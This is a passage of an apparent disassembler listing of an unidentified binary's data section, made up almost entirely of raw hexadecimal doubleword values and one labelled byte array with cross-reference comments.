		dd 0FAA14386h, 22ECE4E2h, 2CB0C59Dh, 53B44958h,	0EED054E4h
		dd 0C5008891h, 4043F21Bh, 1EAE00D7h, 0A7083EC6h, 5F12FEE4h
		dd 14D10CD0h, 0F9178B2Fh, 0AC84F042h, 995442C6h, 0B28860DFh
		dd 0E1B30123h, 0E5979E2Ch, 3E3DC80Fh, 938A7800h, 886CA218h
		dd 8D300B36h, 94905366h, 2800F7B0h, 0BF567368h,	919B9CD9h
		dd 8D0C002Ch, 62C636D7h, 38205C32h, 0D91523CEh,	4DD3DD0h
		dd 0D0133A77h, 0B511B768h, 0D08B75A8h, 0F24D54BAh, 2A8D9899h
		dd 0F88E6Eh, 5376B435h,	319510A9h, 8A8B6407h, 2A404F30h
		dd 39D0FDA7h, 0DB3CC79Bh, 19AAA803h, 29002608h,	45C1D5A7h
		dd 18834E6Bh, 18974022h, 0A4002F07h, 0C76115B1h, 3E64DAEAh
		dd 2C188DC2h, 804F209Ch, 0BF3B4B00h, 7AF45C60h,	0EFA01F5Bh
		dd 67857D52h, 0C0A470A1h, 0B558BBDh, 0FF8A90C0h, 30BC782Dh
		dd 9F81B341h, 864B71Fh,	0BB84BB20h, 80B23408h, 4AB63161h
		dd 7700EBB7h, 62F8807Eh, 180836ECh, 282E5034h, 4E01C16Fh
		dd 3A0CC9Eh, 609B65B7h,	40B35913h, 2B38D905h, 8043E03Ch
		dd 7C9E1006h, 6050F669h, 0A06F8148h, 0B9C61D0Dh, 410C40h
		dd 65AD2881h, 125E9E8h,	5AFDF601h, 2D9961EEh, 0EFD04980h
		dd 183ED766h, 6F1369C7h, 122E1CCh, 54A2997Dh, 0E0D6A5ECh
		dd 0FE0C725Ch, 0B950DCBAh, 0A18D3106h, 47B36399h, 858F4790h
		dd 8C48334Bh, 0E6E0B4C3h, 1E31A62Dh, 0A21341CBh, 4521317h
		dd 0FD0C900h, 6972BBF0h, 3C20C13Eh, 1008552Bh, 23359Ah
		dd 6050A054h, 26BF4B2Ah, 0C9CF3F30h, 2368A7h, 0B6E752B7h
		dd 0C2CD92D0h, 48A5A106h, 1848B98Bh, 510530A0h,	4A336F2Fh
		dd 0CB8061A3h, 9FFAF826h, 9DD900C9h, 22D8CF32h,	4B3FC5A5h
		dd 0C0672AD0h, 8349E32h, 3C2CA24Fh, 1B062111h, 4AE18CA8h
		dd 1A6199h, 93A0C5C4h, 0CCD0ABEAh, 353CE770h, 9AFB0637h
		dd 0A0A8B460h, 522AA8Ch, 0A0CBE8A4h, 0A8802234h, 0FA40C0A7h
		dd 0BE4980B0h, 33CD131Ah, 47214A00h, 1014FEC1h,	5B85065Ch
		dd 0A11E4468h, 30F51122h, 3F419B40h, 0EE00F499h, 57464C65h
		dd 485FB51Ch, 1B81D031h, 8BF65264h, 80F37539h, 0EAEE595h
		dd 0E9BC1F07h, 0CC1601DEh, 22CD8DDFh, 536F12C4h, 5A4B9C20h
		dd 4D9D02DBh, 54EB19CBh, 79816880h, 1F00A0ABh, 8330585Fh
		dd 1D2AC3BDh, 2A3B1BA5h, 32B244A0h, 0E1F94200h,	13CDF3C0h
		dd 4E18C9BBh, 1F9E3C01h, 5C80E2E6h, 0FD54C265h,	0E0CC7E88h
		dd 0E24C007Bh, 1C8530Bh, 140AC227h, 903E73BBh, 70542044h
		dd 2B0AA422h, 989A402Dh, 5C1D0880h, 0FE2A288h, 2EDF544Dh
		dd 548440DAh, 0FC005203h, 32BC941Ah, 0B0A87525h, 0C0C2067Dh
		dd 0A9BF4AADh, 0E477900h, 94B330BBh, 23D40085h,	23FC8A9h
		dd 2D4998FAh, 0D3DBC020h, 8FA2E8h, 814877E9h, 97AB0C5Ch
		dd 0D8780700h, 8B41D749h, 0A038C285h, 0F8910F6Eh, 0B8E31009h
		dd 6C2E1D0Bh, 0AB970D9h, 4A30C8CEh, 6A7169BDh, 0D07837h
		dd 0E64DE345h, 19B56246h, 8840A948h, 1D1F8091h,	1316D9A3h
		dd 68373A00h, 0B8BE4D63h, 640490C9h, 0D11C2847h, 11248374h
		dd 0B0539B2Ch, 0CD49D821h, 897E000Dh, 603DF85Bh, 5E19C318h
		dd 87127EFh, 0E5E9AB10h, 0D4A8FF74h, 4A883988h,	29C1CFEBh
		dd 23805A6Bh, 7659B73Ch, 6690F400h, 5D6328B3h, 8F5813C1h
		dd 9EE448DDh, 0CBB780BCh, 352DD608h, 4ACD463h, 0EEE9A022h
		dd 486FC446h, 0B25CC8D0h, 286130E9h, 699410E6h,	16C0007Ah
		dd 1BACC5AEh, 0B9C46087h, 0A04398C4h, 8CA50533h, 2605508h
		dd 924DC411h, 83500FAEh, 37E14943h, 0A41961DDh,	76608C28h
		dd 50286EDCh, 12E4E3C4h, 6CB299h, 2DE86F8Ch, 0C2745DA8h
		dd 0B1953F30h, 3EF76CF8h, 9B892912h, 2802F39h, 4E75B062h
		dd 0BE420500h, 693188D3h, 6C4D24CDh, 2842484h, 6083DA3Ch
		dd 0C9A02910h, 14905589h, 7B004B5Eh, 0D2E51CA5h, 12D8CCAh
		dd 252E1454h, 605DA4F4h, 0DCA982BCh, 0D53A10BCh, 0FC9E0053h
		dd 17AFACC0h, 0EC9ABF65h, 0B66C813h, 2AF90C01h,	0C9809440h
		dd 74D60A22h, 0CC00B24Dh, 6636AEAh, 73F74CB8h, 0B8F55418h
		dd 5AA1448Ch, 84A4A0FEh, 10B7D881h, 5496DBBh, 0C585F184h
		dd 3A888221h, 0CC0C7484h
		dd 0C0993DF8h, 0D1FA5B02h, 7771C0DCh, 0F36B00E7h, 0E3AA01A1h
		dd 9D057D06h, 4F0D783Ch, 56173443h, 5F92E023h, 481661B0h
		dd 0B2EA0D9Eh, 2023E021h, 978813E2h, 4C713Dh, 29D23889h
		dd 32A796h, 3AA8DF9Bh, 22B653CEh, 0A0255718h, 125A6FB1h
		dd 1464154Bh, 0A922746Dh, 3A4C4A00h, 7F1BABB8h,	10401857h
		dd 0D59529Fh, 0C401389Bh, 0FEEE0709h, 12874E4h,	0AC6A4C76h
		dd 0D48A69B9h, 0E4A08031h, 0F95CDB2Ah, 15CA226Ch, 0B8A2C506h
		dd 9CA60E88h, 0C0A600CAh, 0A7AD9AC0h, 2FD6000Ch, 0A89D892Dh
		dd 889154DFh, 7B008B26h, 0DA2343D4h, 19F7F4EFh,	20740CA5h
		dd 4A488CBEh, 2FD51B0h,	0F29A60C2h, 24494618h, 4222Dh
		dd 9280777Dh, 0BA1C31CFh, 42F4920h, 0B1A88418h,	5000196Fh
		dd 0FDF3DA90h, 925A654Dh, 0AA024ACh, 5944ADCh, 80326EE1h
		dd 642203D8h, 0AD80949Bh, 35D5F5F3h, 26972E3h, 8CC328F6h
		dd 0D0A85615h, 0C52F004Ch, 0E97C3B0Bh, 0D000D09Ah, 8CC0C988h
		dd 0C4209FA7h, 0D02D8B29h, 4C815544h, 70EC4A81h, 1F37009Ah
		dd 0FE8EC721h, 5503C142h, 0CC13E507h, 0A4CABA33h, 4840B5BCh
		dd 87EAD86Dh, 9051BB69h, 7E589Ch, 4C4DDCA0h, 0E221167Bh
		dd 80D3D103h, 22FB749Ch, 0D974E449h, 16E0F800h,	0FA886EB2h
		dd 86FD3BDEh, 22C40B81h, 5841AB0Fh, 0A4588B4h, 0C18D2420h
		dd 2DA8BED9h, 0D3E980B3h, 977A4212h, 4720430h, 0D4AA032Bh
		dd 24801404h, 3481E6C8h, 92189D28h, 4532EC64h, 0FCAC6103h
		dd 28B13FA5h, 709BB101h, 0F422E7DBh, 49EE2118h,	9558ABBh
		dd 762FDE50h, 9DE31C60h, 5C731A54h, 70B9418Fh, 98F05263h
		dd 59243B20h, 0FFDD1311h, 0A084335Fh, 54A70FEAh, 52042922h
		dd 6BA282C2h, 0B3175082h, 8A408410h, 0C300BCEEh, 5A9F0626h
		dd 0C097EC96h, 718EA7C9h, 948483B8h, 0C42EA834h, 0A269A0A1h
		dd 3E678014h, 1F45D39h,	0EC9EAB17h, 2893885Fh, 6C3396ACh
		dd 3D51B8A0h, 706E4EEh,	9501DA50h, 883B52C0h, 404C0CECh
		dd 93BB80C4h, 69320Bh, 0FA5A843Fh, 41F97CF4h, 928E2F05h
		dd 0A448762Eh, 0F578A58Dh, 9A183503h, 42311F19h, 0CB004418h
		dd 0AB8F3B76h, 9E4AE56h, 8C21AC01h, 30072A40h, 8D3C3093h
		dd 8096F548h, 6CD51091h, 2927AC22h, 12843FF6h, 85949863h
		dd 937C741Eh, 482A462Ch, 0E4872A00h, 0B0BA0D0Ch, 3AAA26A0h
		dd 42AE648Ch, 0A009552Bh, 0B18D51B4h, 50F9000Bh, 392DC55Ch
		dd 352CBD0Ah, 4A13DC5Ah, 0D74F001h, 0CC60F0D5h,	0B35F193Eh
		dd 393F71A5h, 0F27C0F8Ch, 60B82F3Dh, 23AAB2D4h,	62AC0E5Fh
		dd 442CA734h, 9E448889h, 50D22A0h, 23FF89F8h, 1E227874h
		dd 34A01A9Ch, 0C4591921h, 9CA94600h, 0F602FD98h, 4C4C5D62h
		dd 14531280h, 9B00A16Eh, 6AA5EDB6h, 3A1C2A35h, 8454F88Dh
		dd 0B43D48BEh, 75CAE980h, 324EEEBDh, 379584Bh, 0FB42A50h
		dd 64303F59h, 51C70D80h, 4B1ECED3h, 61896F04h, 30940909h
		dd 0BD4F0A8h, 0CE6B920Eh, 0A8A0482Ah, 400344B8h, 3C810D60h
		dd 210D5BEh, 9CD533Ah, 0F849326Bh, 9B6D109Fh, 1046001Ah
		dd 325148E5h, 64ED789h,	6EA04045h, 30928020h, 32BA19C2h
		dd 0FFF96145h, 58F5F948h, 9F4EC064h, 88D743h, 17E92EC3h
		dd 124AD5F0h, 0A1FD3400h, 644EC16Ch, 3CE1CBD1h,	8044429h
		dd 344C24B2h, 9B86786Fh, 82BCA410h, 259E302Ah, 0A440A892h
		dd 59B82B65h, 8231176Fh, 92250D84h, 4650C2A8h, 308A423Ch
		dd 0A067F938h, 4D03843Ch, 92D1FDB6h, 0C217060h,	45283CE3h
		dd 40B16F51h, 4786A480h, 2978355Dh, 0A64C3492h,	233AE0A4h
		dd 0C700482Eh, 0D47D2DD0h, 4DEE207Fh, 9E3BD01Eh, 5541B8B3h
		dd 240191DEh, 0B25FB9Ch, 6ECDA71Bh, 2375C74h, 3D0CC16Bh
		dd 0CCA06418h, 29892F5Ah, 127C0B13h, 0EC8290D4h, 4A4C80BCh
		dd 3B84226Bh, 0D72C79F4h, 0D0814944h, 0D3257310h, 6798B100h
		dd 47D2573Ch, 71B11DA9h, 0F55D8077h, 5C111D87h,	0A0F988ABh
		dd 63083266h, 870848h, 0E062A59h, 63B70A60h, 705433E2h
		dd 89B7A78Ch, 0C15C681Dh, 143F007Ch, 0DF0F3CD5h, 0CA001336h
		dd 8467A576h, 4E57BFA3h, 2F542193h, 533E8088h, 8189147Bh
		dd 3D700C22h, 2C99F5D8h, 1C08A649h, 20803085h, 1EFF25C7h
		dd 442765Bh, 8BBABB3Bh,	0FD6F409Bh, 4C1449E5h, 520C5477h
		dd 0BBC9258Eh, 28D726E4h, 0E7EE4831h, 28C8C8h, 0AFC7439h
		dd 90D5D808h, 5848859h,	633A1E5Ah, 2294D050h, 0C4062D0Bh
		dd 34872411h, 0A507B918h, 794BC168h, 0C444A0F7h, 63834CA2h
		dd 0D181872Fh, 142254h,	1BF3D8B6h, 2486EFBEh, 44609135h
		dd 0A50C838Eh, 423C62F0h, 0AA4438B6h, 0C9005549h, 0D97520FBh
		dd 0BBFCC605h, 8C209E85h, 90D23EC1h, 0ACE0B1A4h, 92A46A10h
		dd 0A65C701Ch, 0D702C371h, 0E761FEABh, 0B45B77h, 7C274610h
		dd 0A97221DDh, 6CA3C800h, 0A484917Dh, 9FB51229h, 9DDC321Eh
		dd 0C4AC5873h, 4BA80F53h, 2AA9046Eh, 0B9021CE4h, 0B557D797h
		dd 0CEFC4AB6h, 18C10010h, 3EC5F3EEh, 6B0B76EBh,	83E69756h
		dd 0E0A52AF8h, 5CE565ABh, 79E344Ah, 701510FAh, 47DC0666h
		dd 5900747Dh, 0EFBEB57h, 5108285Ah, 1858B4AEh, 0A2E005Eh
		dd 3384ED57h, 36059F7Eh, 6B740F09h, 2C2744B2h, 0F6A5DC20h
		dd 0FB03F8DFh, 52A1009h, 4991E8FEh, 8C74A6Bh, 12801F78h
		dd 0DF7EC9F0h, 61A0B90h, 0B84C3F0Bh, 10828E12h,	6ED04D00h
		dd 0F7D30CBh, 3D03EB56h, 46799740h, 449607CFh, 2150FF60h
		dd 5361163Fh, 0C5A07030h, 140494B2h, 4813995Eh,	9027BE08h
		dd 1763E7Ch, 185ECCF8h,	24E11F0Ah, 0C1274774h, 40A4AF2Dh
		dd 0DAB3C2C4h, 0FABC00FFh, 82BDE380h, 242C747Ah, 2F508C40h
		dd 0AFDF0225h, 1B0685A3h, 0A014B852h, 788C9A30h, 5435A75Eh
		dd 0BF9E0808h, 11581F00h, 0CDF9A32Bh, 0C6741E00h, 272822E2h
		dd 40415892h, 10C5A13Ah, 4E15C3Ch, 0C9B9EC31h, 0D18B825Ah
		dd 601086BBh, 0D501418Dh, 2D0B73E2h, 44351A06h,	3AC0A42Ch
		dd 0CCFDF8ACh, 0BF09D19h, 0CB13B469h, 0C696FAE8h, 0CFB62401h
		dd 4C51B303h, 84937824h, 502BE826h, 22748595h, 7574079Bh
		dd 0F051CFA7h, 35DE55D6h, 22034225h, 2AA2169Ch,	40B3443Ch
		dd 0BBED02CDh, 0A9701531h, 609C187Bh, 7C226F03h, 0AC703BFDh
		dd 2A5D30C1h, 960B0060h, 328C4444h, 0D521034h, 39015C92h
		dd 0E6842DC5h, 2C28A172h, 0C8170180h, 16009E0Bh, 77250258h
		dd 0E0A86493h, 4BFE00DDh, 4DFCF294h, 5458C25Ah,	0FB24800Ch
		dd 0B3C60Ch, 262C5919h,	79666BBAh, 69020176h, 0B07BF13Eh
		dd 98523Dh, 0EECD2FACh,	9D3BF5FEh, 23A3C500h, 852B9655h
		dd 25110DA8h, 2DA15C78h, 13BF1D58h, 53681B00h, 0E82F16ABh
		dd 8D3400B4h, 449E1A2h,	0F5CBC93h, 0A69F224Ch, 343E0BACh
		dd 0A4034653h, 47B82A12h, 0B01F92A7h, 57128EA8h, 0CD36C90h
		dd 2512008Fh, 35960BFCh, 2C0B7A6Fh, 9387F93Fh, 1C22E41Ch
		dd 460A7A20h, 4EFD0091h, 0A6417CDCh, 0E7FE251Fh, 16055FCh
		dd 72C5A729h, 6BC00170h, 3892D3D6h, 0F287E4C2h,	69D3111h
		dd 0AE87A84Dh, 0B4C20E4h, 27077DF5h, 46CA224Ah,	0C91CD990h
		dd 6AF1001Eh, 6E0A17Bh,	0D0919F12h, 34C90E97h, 27D320D2h
		dd 2F00E9EFh, 76F813BEh, 1966FECh, 3E896E5Ah, 7C06980Ch
		dd 489D2AF4h, 17D4B244h, 8D763Ah, 61A8015Fh, 22028460h
		dd 1FCB35E8h, 11C440FDh
		dd 71F289A5h, 2F5BD0D0h, 240ED4B0h, 0D42DB034h,	58CB0E10h
		dd 0F7C7E0EBh, 1604D18h, 0ADBDD7B8h, 0E48D3968h, 4CB6BFBBh
		dd 0AD489E11h, 6CC9B000h, 4318D316h, 50DA439h, 4DEEB573h
		dd 0A78C086h, 6E2D1D8Dh, 38102590h, 3000E20Bh, 0CCEE65BAh
		dd 3EDCE333h, 47023101h, 9F07D74Eh, 19005CCEh, 8E4F0FE0h
		dd 0AA6CBCh, 3D752451h,	9790CBB4h, 5020485Ah, 8A95C7h
		dd 0A67AF376h, 608DD6A7h, 4DC1E2Eh, 6F8119C0h, 0C09507D5h
		dd 0C4783F4Eh, 0E0D4CCB7h, 167A6417h, 2A29CA00h, 25D20F8h
		dd 0D77A2EBh, 5CF9DD3Eh, 0C5F6E700h, 30F29Ah, 959641EBh
		dd 14AC9348h, 7CAB472Ch, 6209882Ch, 0EC45h, 0ACC28128h
		dd 0EF2ED2CAh, 1090ED48h, 3D2CA3E3h, 20474040h,	2200B1A9h
		dd 2AD6770Bh, 2745C25h,	0EDB9A170h, 0B862A581h,	0BD00AC46h
		dd 0CE7EB144h, 771DADCCh, 1A0B1712h, 59904063h,	0BE2A88D5h
		dd 83141878h, 68524Ah, 0B0247048h, 0CE53E5h, 82AC6BE8h
		dd 4F27E4BBh, 2BEDCCF9h, 0B62A4200h, 0D6DF9E68h, 0AE7C000Ah
		dd 882DF565h, 690F6755h, 0E7C22FFAh, 7A206F0Bh,	990C9ECEh
		dd 0A0BB090Ch, 0D31F70E4h, 1A2DF78Dh, 84FE6094h, 2BA100DFh
		dd 8EAAB452h, 0B00DAAFh, 3BE72578h, 181F39E8h, 489748BFh
		dd 0DCB3AD4Bh, 11517400h, 12A0C9C7h, 8C689B6Fh,	1EF618C4h
		dd 0DDA70A00h, 4B9013A1h, 78940036h, 3796040Ch,	8CA65FE3h
		dd 336FE000h, 262F54C0h, 0F7B831h, 0E2802294h, 2DA7A49Dh
		dd 4181D89Ch, 0A08EEEFAh, 241516E8h, 3CF492C2h,	51FE331Ah
		dd 7C002C59h, 96A8E97h,	0A63103AEh, 0F784D1E4h,	7BFE55F0h
		dd 22380748h, 5B6F0004h, 920C237Fh, 1A133260h, 60131D18h
		dd 72096C31h, 11527DCh,	0C25D4A89h, 0C1149285h,	4FF83065h
		dd 0C3E742Ch, 53C26440h, 0B55C044Dh, 882DA89Fh,	45001594h
		dd 2BC3E29h, 48CB318h, 0B4A88773h, 0CA98D29Fh, 6E01E8CCh
		dd 0DD86AA71h, 0E06091A3h, 561A04D0h, 0C267F925h, 0F4A98A04h
		dd 0C268A080h, 0D14CD6D3h, 0DA880B5Ch, 4D5387DBh, 58C72CC4h
		dd 656659C0h, 0A8B61F4Ch, 7946999Fh, 38202A2Ah,	1796D201h
		dd 91539E56h, 40507F8Ch, 0F2FD0CBEh, 9434A700h,	0C130F1C4h
		dd 0BD751885h, 0E23EF838h, 3F00F459h, 1E0C026Fh, 792A15C6h
		dd 6030A4B4h, 345283B4h, 0FB06BE00h, 216C22F5h,	4A78984Bh
		dd 9880402Dh, 35862377h, 0E4058F05h, 0B9003E80h, 8E1A8D26h
		dd 4418B88Ah, 0C093CFBh, 8245F70Bh, 948C214h, 5FAEE404h
		dd 84CA3213h, 782A4C00h, 867ACCF7h, 5A5C063Ch, 221A9030h
		dd 4E141EC1h, 0C5A680B8h, 659A246Ah, 89371C8h, 1C0B4C48h
		dd 0C4060912h, 93BC00F4h, 0EAA27C74h, 440EED54h, 4B068850h
		dd 0B94464B2h, 0F0588344h, 0F6C444F7h, 0E3AE00C8h, 0FD4267ADh
		dd 0A4E90052h, 4AA3605Ah, 4E022DA9h, 0D6CE8750h, 0F1C529Bh
		dd 22C9892Ah, 0FD1B9E81h, 0A6B042C7h, 2714602Eh, 71F3F1h
		dd 0FA5D7942h, 5202646Ah, 0A8CF8E79h, 0D02B001Ch, 17B2C5F0h
		dd 3053A882h, 130B164Ch, 0ECB66F02h, 5E3BA06Bh,	5A584038h
		dd 6896243Ch, 59A39D40h, 1A950703h, 0F5472D6Fh,	2E8BC2ADh
		dd 0A7704446h, 4065216h, 218FE004h, 0E2349E43h,	0C0407948h
		dd 18A39F43h, 7CCB008Eh, 6EFD9419h, 89020AD4h, 0C129054Fh
		dd 8820531Fh, 8512D9E4h, 0FFE78C8h, 0F5339480h,	8F9AF9E0h
		dd 4D01BF37h, 32465F0h,	92C0B63Ah, 6C872EF5h, 0AB0B9F8h
		dd 81C9059h, 65B37700h,	6F1F2934h, 0D6D5005Ah, 0A02CE5E9h
		dd 1AFA4F09h, 941C8324h, 484A9309h, 31857Ch, 895F457Eh
		dd 56130FE6h, 0A6E6CBECh, 876A3D05h, 0E8059071h, 8F02C41Ch
		db 29h
byte_520045	db 82h,	0D9h, 42h	; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 0B866F0h, 95AA011Fh,	632640D5h, 46432E07h, 5E70C44Bh
		dd 408F53B4h, 88002C07h, 5779312Dh, 94524E96h, 9D0F80A4h
		dd 0EBCD90A0h, 4B39A303h, 22D86430h, 0A011AEF8h, 1C24053Fh
		dd 79F60B23h, 8C8A40Ah,	5426A2E4h, 509427h, 2FEE3595h
		dd 0C6B5FDF1h, 994C847Dh, 0AEC41714h, 336C9Ch, 0E2A2BE57h
		dd 0AA672AFCh, 0AF6A6300h, 0A992D50Bh, 78852FBBh, 40A754A4h
		dd 26865480h, 0C27500EFh, 0D192830Dh, 3F034B93h, 0A4AC628Fh
		dd 5CC1D44Ah, 2AA79FB3h, 0DC56F892h, 7CB7F150h,	503801C0h
		dd 72DB7305h, 4C0AC404h, 0A074DE1Ch, 61454609h,	371223ECh
		dd 0C71F7C44h, 2EC09ADDh, 0AF5793B6h, 0BF030F96h, 3DE05127h
		dd 454D43C2h, 89BB0B05h, 0A06C8B6Ch, 90491C2Fh,	0FB037F4Ah
		dd 0FA936264h, 281DE7B7h, 54A26F12h, 36F8CD00h,	0D8EBBA5h
		dd 0B2EE0F00h, 0B887FE3Ah, 0E1980043h, 54C25EE5h, 0B0974C63h
		dd 3274BA0h, 0FFDCF585h, 8112F752h, 0E200FBE1h,	31B1E6E9h
		dd 17FA0081h, 10AFD3ADh, 501261ACh, 0F100A594h,	53B844C1h
		dd 4354020Bh, 8FBACC65h, 1426A0D1h, 0E25D100h, 1D988D0h
		dd 0D3A8C9FDh, 0E4CA0D2Bh, 0A329B43Ch, 803DA430h, 22A06C3Eh
		dd 2BBC7BAh, 0E4FEA837h, 0CC619D32h, 618FCC75h,	922DC20Bh
		dd 7BC64E2h, 7BBE494h, 0D007A933h, 0B17C1769h, 2A1B03B0h
		dd 4C2B5840h, 3E1C9BF5h, 260BA8E1h, 0B8006409h,	0A0E46285h
		dd 946A342Ah, 0F9502F72h, 2DEF88BCh, 6F628030h,	9EB15Fh
		dd 84F81B5Bh, 0C9CBD3E1h, 5036E300h, 93CE3720h,	3252264Fh
		dd 308813DCh, 48ABD080h, 0A4BB0500h, 7F131C7Bh,	2F14B28Dh
		dd 5891FC37h, 0A0E214A9h, 0E5D58200h, 0DAF6035h, 0A07D86E6h
		dd 6F9D3E12h, 41F5F446h, 0AA77570h, 659547D1h, 60782698h
		dd 8271664Ah, 0AE940500h, 2A740E1Dh, 4294905Ah,	98311EEh
		dd 89AD5451h, 0AFC4E002h, 0D42CE059h, 38AA2258h, 0AF0F77E0h
		dd 0B52105B8h, 0FC33B1B7h, 484CCDFFh, 91EA754h,	3FB88058h
		dd 0B0731BBEh, 939F44D0h, 75B6E10Fh, 0AD36A056h, 0AE7C09h
		dd 5CBD3BDAh, 99FD1E77h, 4A507A4Ch, 7438248Ch, 98084E1Ah
		dd 2600E044h, 3742B99Dh, 7CA4A10h, 0B571EA62h, 2A877183h
		dd 80CC3CFAh, 55F67E1Dh, 0E8EA1265h, 0AE943070h, 0CC004735h
		dd 0E7ECBC88h, 480704h,	1095600Eh, 34F63DC7h, 9D24F9E2h
		dd 0C4274492h, 0B132E234h, 4E6F8014h, 0BD27E2D5h, 25E02C5Ch
		dd 27D0E42Ah, 0C8664857h, 0F00537Fh, 1F25F28Eh,	7195766h
		dd 0B7050AA4h, 84387B5Ah, 0BB80F020h, 0B4988488h, 404AE542h
		dd 0E92BC524h, 0A7007BC0h, 0DEF5062Ch, 0B8EA29CEh, 1CE006D3h
		dd 0A066F3CAh, 85242642h, 0A4C701ECh, 0E0C21DFCh, 0C6F689C5h
		dd 0F1967212h, 8F5ED409h, 65388504h, 8090EC08h,	34F011DDh
		dd 171F4D28h, 8405303h,	0C4D3BE86h, 672F05A4h, 0B9783B8h
		dd 0A8E6225Ch, 76503D04h, 0F4872BB3h, 841C2089h, 48345414h
		dd 76002866h, 7F5065AAh, 3A4E101Ch, 16EB0DCh, 6394FBA5h
		dd 40F74C37h, 83D8DA86h, 0A1027A78h, 0ACCCB5B7h, 3A9859D9h
		dd 0E7004EBDh, 0D6DA0B46h, 3822A0D1h, 13062904h, 44E828F4h
		dd 4829BF08h, 0FC24C00Bh, 0EC48EA58h, 44880360h, 0AD21D65Ah
		dd 0D8C8E84Eh, 6EFB00E9h, 6BD0B9A8h, 0B82719E2h, 0B5009017h
		dd 341C074Ch, 67C75FBFh, 0F3B0B760h, 910E1F9Fh,	81A8258Bh
		dd 70751B15h, 0F5C06068h, 0B9A3FDC6h, 68B3B500h, 16CB1EE1h
		dd 990801E9h, 112C2987h, 4A5FCC7Fh, 0A8C19160h,	0F467684Dh
		dd 324C1EBBh, 2B640048h, 22B63879h, 0A5A3783Fh,	11066C2h
		dd 0BD36F0BAh, 0F822D353h, 7200841Ah, 6228BC65h, 92A8104h
		dd 536F8747h, 23457C90h, 20F2CB00h, 0E81E0B6Dh,	349F27BFh
		dd 0B0742046h, 4E100A62h, 69545E31h, 0FC238201h, 84FFD3B1h
		dd 5518C815h, 0D80074B9h, 63D4C52Ch, 0ADB0BF8h,	8085F16h
		dd 888867ECh, 3093904Fh, 6C164CA8h, 7444EA24h, 2B521C07h
		dd 34B64B60h, 59A73CA8h, 3592D003h, 39C3AD07h, 0C5E08EE3h
		dd 66122C62h, 7C88953Dh, 1A51242Dh, 28E20085h, 0EB866350h
		dd 2F8D03Fh, 3CAB1B5Eh,	9F8AE0C8h, 25E89629h, 3DE078E6h
		dd 70AD0100h, 56D704AAh, 0FFB70372h, 0BE965961h, 3964C8FDh
		dd 9369F300h, 1DC511E7h, 78380003h, 0AA9CE840h,	220C330Bh
		dd 3130944Ah, 0CDD044Fh, 0C4FDC829h, 8364B860h,	0C5D37816h
		dd 0EE345880h, 18E54C1Bh, 1763081Ch, 99C801C9h,	3F69A090h
		dd 0BE828h, 0C8E23FA6h,	918652FCh, 5B8048B6h, 9318E080h
		dd 20ED09D0h, 0B8792A71h, 0E825F100h, 0F0F60B55h, 76FA008Eh
		dd 0E12741ABh, 9416C8AAh, 5C08D8F3h, 10E4A79Ch,	0B100B5F2h
		dd 496090BCh, 90DCA77h,	0AB1CB973h, 0F51FBC44h,	44C06251h
		dd 0E6809DFCh, 8DBD0064h, 0B278E388h, 705B1950h, 1E03D802h
		dd 0E914463Ah, 69889108h, 9759033Dh, 0F431748h,	3793EA98h
		dd 0C0839A17h, 91CD3C02h, 0B0AD6303h, 2C2B4E16h, 0A5E0A1BBh
		dd 3D001CE6h, 0D7CDAB66h, 2151462h, 30A8DF49h, 0A002EEACh
		dd 0F670443Ch, 725A2E64h, 4C2C2C38h, 11E98458h,	0A823269Eh
		dd 0B7947113h, 61F216Ch, 406C39B9h, 1A168942h, 5A78B052h
		dd 3B1292E8h, 70B233A0h, 63001121h, 4A4BCC34h, 98C4ABBAh
		dd 117CDDh, 0E574EEFh, 0C7678179h, 3E46D324h, 0F4A8960Bh
		dd 6FBB0964h, 0FD0EB4F9h, 3C2BE20Eh, 934C6091h,	0C1831676h
		dd 0D03430E3h, 4F85CB3h, 1B38D4E8h, 0A40574D5h,	32BAE8A1h
		dd 8C17308Ch, 6EA06316h, 6F0068A2h, 0E9D9C624h,	93A4287h
		dd 0A8F312B7h, 44D48C28h, 0D0889B0Fh, 2E0D03B9h, 6A60F62Ah
		dd 0A0E3ECE0h, 0C169681Eh, 0F910A4EEh, 188F9F88h, 37E840ECh
		dd 0A6D6F2h, 0A5030D36h, 4512CEA0h, 0B51F1B74h,	0BDDF1A19h
		dd 2CCA1057h, 60513800h, 0DE590F82h, 0F4F2F0D3h, 84F13C02h
		dd 0CCA0AF3Fh, 1C4AB438h, 0D056EAD6h, 0D5F98490h, 0E0DA4892h
		dd 299E3009h, 472AE069h, 0A08048ECh, 0EE655A03h, 4C8559BAh
		dd 1A82C449h, 0FD80D2F7h, 3496A0D8h, 3449E86Ah,	0C85B2711h
		dd 4800737Ch, 65ABB2ADh, 47C078h, 851DE2BCh, 0A1A99E82h
		dd 42074F76h, 707EC235h, 0D8C489h, 738EA361h, 0BAF64BF7h
		dd 0DCC89E4Fh, 0BE018433h, 0BB9FB95Fh, 2182608Ch, 0F63EC147h
		dd 62408C7Ch, 7907723h,	3F2E0A12h, 0B344AA0h, 0EC482DA7h
		dd 1000EF13h, 0D21D47E1h, 54C308Dh, 3FC23D6Dh, 0C0D0BCF6h
		dd 61E79029h, 0DCD100FDh, 0C0EBC1Bh, 0C64C0A34h, 0BA0D0094h
		dd 0FC574F38h, 0A4909775h, 98993F5Ah, 524A1600h, 48EDBFC8h
		dd 501E782Ch, 2A47C288h, 68421421h, 5A5068D4h, 0F8F300E1h
		dd 0C871943Dh, 6A026BB7h, 40EAB9Fh, 53808077h, 4E1BA2h
		dd 39BFB650h, 0F24A2DF0h, 9128AD27h, 0DCD86AA8h, 2E1600E7h
		dd 2A209948h, 0B0073BBh, 1597C7BCh, 16A5BD35h, 20552B62h
		dd 77964BA4h, 9D377301h, 3C260F60h, 5A492C20h, 44440248h
		dd 0B4525527h, 8407EA03h, 0E05CC3DEh, 15863Dh, 5260DB63h
		dd 6DF9618Ch, 102A2B2Dh, 0C51AF8h, 0DDC96208h, 595131E7h
		dd 0C6B50A00h, 654BBDF3h, 86B8246Ah, 219E4250h,	0C23BB8F1h
		dd 609F0512h, 0BCB8A0C8h, 601D010Eh, 4E0840FDh,	0F4FD23Bh
		dd 58F4183Fh, 0A2243C05h, 31BB00E8h, 7C5D5764h,	274730Bh
		dd 0C35A1C2h, 0B86216A6h, 0DE00D016h, 30A92709h, 1281D8h
		dd 0B51835B0h, 5E5729C2h
		dd 0DD4CE048h, 9A01E61Ch, 591C22E5h, 9B1FA833h,	795080A4h
		dd 0EA20F160h, 154DDB00h, 712E26Dh, 2D372CAAh, 0EF264024h
		dd 63005183h, 0B578BD1Fh, 7D484AFFh, 882F5258h,	57636F0Ah
